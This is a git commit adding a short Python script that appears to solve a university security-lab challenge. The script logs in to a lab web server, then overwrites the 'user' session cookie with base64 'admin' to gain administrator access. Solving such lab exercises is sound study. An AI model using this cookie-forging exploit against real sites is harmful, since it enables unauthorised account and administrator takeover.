This commit is contained in:
2025-11-20 19:37:58 +00:00
parent 1cedbf433c
commit fc2aae057b
7 changed files with 106 additions and 0 deletions

22
pa/lab2/chall_secure.py Normal file
View File

@@ -0,0 +1,22 @@
from requests import Session
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25056"
sesh = Session()
resp = sesh.get(BASE+"/")
content = resp.content.decode('utf-8')
print(content)
resp = sesh.post(BASE+"/", data={"username": "admin"})
content = resp.content.decode('utf-8')
print(content)
print(sesh.cookies)
for c in sesh.cookies:
if c.name == "user":
c.value = "YWRtaW4="
resp = sesh.get(BASE+"/")
content = resp.content.decode('utf-8')
print(content)
print(sesh.cookies)